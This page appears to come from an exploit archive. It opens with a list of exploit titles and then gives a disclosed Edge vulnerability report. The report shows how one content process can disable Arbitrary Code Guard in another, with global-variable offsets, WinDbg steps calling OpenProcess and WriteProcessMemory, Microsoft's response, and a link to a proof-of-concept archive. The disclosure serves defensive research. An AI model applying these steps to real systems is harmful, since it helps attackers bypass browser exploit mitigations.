
1979 changes to exploits/shellcodes Couchdb 1.5.0 - 'uuids' Denial of Service Apache CouchDB 1.5.0 - 'uuids' Denial of Service Beyond Remote 2.2.5.3 - Denial of Service (PoC) udisks2 2.8.0 - Denial of Service (PoC) Termite 3.4 - Denial of Service (PoC) SoftX FTP Client 3.3 - Denial of Service (PoC) Silverstripe 2.3.5 - Cross-Site Request Forgery / Open redirection SilverStripe CMS 2.3.5 - Cross-Site Request Forgery / Open Redirection Silverstripe CMS 3.0.2 - Multiple Vulnerabilities SilverStripe CMS 3.0.2 - Multiple Vulnerabilities Silverstripe CMS 2.4 - File Renaming Security Bypass SilverStripe CMS 2.4 - File Renaming Security Bypass Silverstripe CMS 2.4.5 - Multiple Cross-Site Scripting Vulnerabilities SilverStripe CMS 2.4.5 - Multiple Cross-Site Scripting Vulnerabilities Silverstripe CMS 2.4.7 - 'install.php' PHP Code Injection SilverStripe CMS 2.4.7 - 'install.php' PHP Code Injection Silverstripe Pixlr Image Editor - 'upload.php' Arbitrary File Upload SilverStripe CMS Pixlr Image Editor - 'upload.php' Arbitrary File Upload Silverstripe CMS 2.4.x - 'BackURL' Open Redirection SilverStripe CMS 2.4.x - 'BackURL' Open Redirection Silverstripe CMS - 'MemberLoginForm.php' Information Disclosure SilverStripe CMS - 'MemberLoginForm.php' Information Disclosure Silverstripe CMS - Multiple HTML Injection Vulnerabilities SilverStripe CMS - Multiple HTML Injection Vulnerabilities Apache CouchDB 1.7.0 and 2.x before 2.1.1 - Remote Privilege Escalation Apache CouchDB 1.7.0 / 2.x < 2.1.1 - Remote Privilege Escalation Monstra CMS before 3.0.4 - Cross-Site Scripting Monstra CMS < 3.0.4 - Cross-Site Scripting (2) Monstra CMS < 3.0.4 - Cross-Site Scripting Monstra CMS < 3.0.4 - Cross-Site Scripting (1) Navigate CMS 2.8 - Cross-Site Scripting Collectric CMU 1.0 - 'lang' SQL injection Joomla! Component CW Article Attachments 1.0.6 - 'id' SQL Injection LG SuperSign EZ CMS 2.5 - Remote Code Execution MyBB Visual Editor 1.8.18 - Cross-Site Scripting Joomla! Component AMGallery 1.2.3 - 'filter_category_id' SQL Injection Joomla! Component Micro Deal Factory 2.4.0 - 'id' SQL Injection RICOH Aficio MP 301 Printer - Cross-Site Scripting Joomla! Component Auction Factory 4.5.5 - 'filter_order' SQL Injection RICOH MP C6003 Printer - Cross-Site Scripting Linux/ARM - Egghunter (PWN!) + execve(_/bin/sh__ NULL_ NULL) Shellcode (28 Bytes) Linux/ARM - sigaction() Based Egghunter (PWN!) + execve(_/bin/sh__ NULL_ NULL) Shellcode (52 Bytes)
73 lines
No EOL
5.1 KiB
Text
73 lines
No EOL
5.1 KiB
Text
Each Edge Content process (MicrosoftEdgeCP.exe) needs to call SetProcessMitigationPolicy() on itself to enable ACG. The callstack when this happens is:
|
|
|
|
00 KERNELBASE!SetProcessMitigationPolicy
|
|
01 MicrosoftEdgeCP!SetProcessDynamicCodePolicy+0xc0
|
|
02 MicrosoftEdgeCP!StartContentProcess_Exe+0x164
|
|
03 MicrosoftEdgeCP!main+0xfe
|
|
04 MicrosoftEdgeCP!_main+0xa6
|
|
05 MicrosoftEdgeCP!WinMainCRTStartup+0x1b3
|
|
06 KERNEL32!BaseThreadInitThunk+0x14
|
|
07 ntdll!RtlUserThreadStart+0x21
|
|
|
|
The issue is that one MicrosoftEdgeCP.exe can OpenProcess() another MicrosoftEdgeCP.exe as long as they are in the same App Container. So MicrosoftEdgeCP.exe process A can race MicrosoftEdgeCP.exe B when it still doesn't have ACG enabled and tamper with it in such a way that process B never enables ACG.
|
|
|
|
Having another MicrosoftEdgeCP.exe process not enable ACG is pretty straightforward as SetProcessDynamicCodePolicy consults a number of global variables to determine if ACG should be enabled or not. For example, in IEIsF12Host(), which is called from GetDynamicCodeRestrictionsEnablementState, two global variables (at offsets 0x23092 and 0x23090 in the Edge version we tested on, up-to-date on Windows 10 version 1709) are checked, and if they are both nonzero, ACG is not going to get enabled. Thus it is sufficient for process A to OpenProcess() and call a single WriteProcessMemory() with a known address (note: we assume ASLR is already defeated at this point) in order to disable ACG.
|
|
|
|
When process A disables ACG in process B it is possible to further tamper with process B and get it to allocate executable memory and run arbitrary payload either in process A or process B.
|
|
|
|
A debug log below demonstrates how it is indeed possible to OpenProcess() and WriteProcessMemory() from one MicrosoftEdgeCP.exe to another. All that is left to prove is that this race is winnable. To demonstrate that, we wrote a small program that scans the processes and whenever a new MicrosoftEdgeCP.exe appears, it patches it as described above. In our experiments this reliably disables ACG for all of the MicrosoftEdgeCP.exe processes created after the PoC program runs. The Visual Studio project for the PoC is attached. It is also possible to run the PoC in Edge's App Container, which proves that an Edge Content Process has access to all of the functionality needed to exploit the issue.
|
|
|
|
|
|
To demonstrate two MicrosoftEdgeCP.exe processes can tamper with each other, select two processes in the same App Container (all Content Processes for Internet sites should be in the same container) and attach a debugger to one of them.
|
|
|
|
0:061> r rip=kernelbase!openprocess
|
|
0:061> r rcx=28 # PROCESS_VM_WRITE | PROCESS_VM_OPERATION
|
|
0:061> r rdx=0
|
|
0:061> r r8=e84 # pid of the other process
|
|
0:061> p
|
|
|
|
...
|
|
|
|
After OpenProcess() completes we can see that it was successful and that the returned handle has the value of 0x698.
|
|
|
|
0:061> r
|
|
rax=0000000000000698 rbx=0000000000000000 rcx=00007ff87c720344
|
|
rdx=0000000000000000 rsi=0000000000000000 rdi=0000000000000000
|
|
rip=00007ff878c8dc6d rsp=00000082622dfe28 rbp=0000000000000000
|
|
r8=00000082622dfdb8 r9=0000000000000000 r10=0000000000000000
|
|
r11=0000000000000246 r12=0000000000000000 r13=0000000000000000
|
|
r14=0000000000000000 r15=0000000000000000
|
|
|
|
Then, we can test writing to the other process's memory with
|
|
|
|
0:061> r rip=kernelbase!writeprocessmemory
|
|
0:061> r rcx=698 # handle returned from OpenProcess()
|
|
0:061> r rdx=00007ff7`b8483090 # base of MicrosoftEdgeCP.exe + 0x23090
|
|
0:061> r r8=00000082`622dfef0 # address of buffer to write
|
|
0:061> r r9=3 # size of data to write
|
|
0:061> p
|
|
|
|
...
|
|
|
|
After it completes we see that the return value is 1 which indicates success:
|
|
|
|
0:061> r
|
|
rax=0000000000000001 rbx=0000000000000000 rcx=0000000000000000
|
|
rdx=0000000000000000 rsi=0000000000000000 rdi=0000000000000000
|
|
rip=00007ff878cca1d6 rsp=00000082622dfe28 rbp=0000000000000000
|
|
r8=00000082622dfcf8 r9=00000082622dfdd1 r10=0000000000000000
|
|
r11=0000000000000246 r12=0000000000000000 r13=0000000000000000
|
|
r14=0000000000000000 r15=0000000000000000
|
|
|
|
You can also attach a debugger to the other process and verify that the data was written correctly.
|
|
|
|
|
|
Microsoft's reply: "First, thank you for reporting this to us. Our engineering team does agree with your assessment. The approach we are taking to address this issue is moving the enablement of ACG to process creation time rather than deferring until after the process has started. Our plan of action would be not to address it through a hotfix, but instead in the next release of Windows."
|
|
|
|
Regarding severity, as with the other mitigation bypasses, note that this issue can't be exploited on its own. An attacker would first need to exploit an unrelated vulnerability to gain some capabilities in the Edge content process (such as the ability to read and write arbitrary memory locations), after which they could use this vulnerability to gain additional capabilities (namely, the ability to run arbitrary machine code).
|
|
|
|
The issue was identified by James Forshaw and Ivan Fratric.
|
|
|
|
|
|
Proof of Concept:
|
|
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/44467.zip |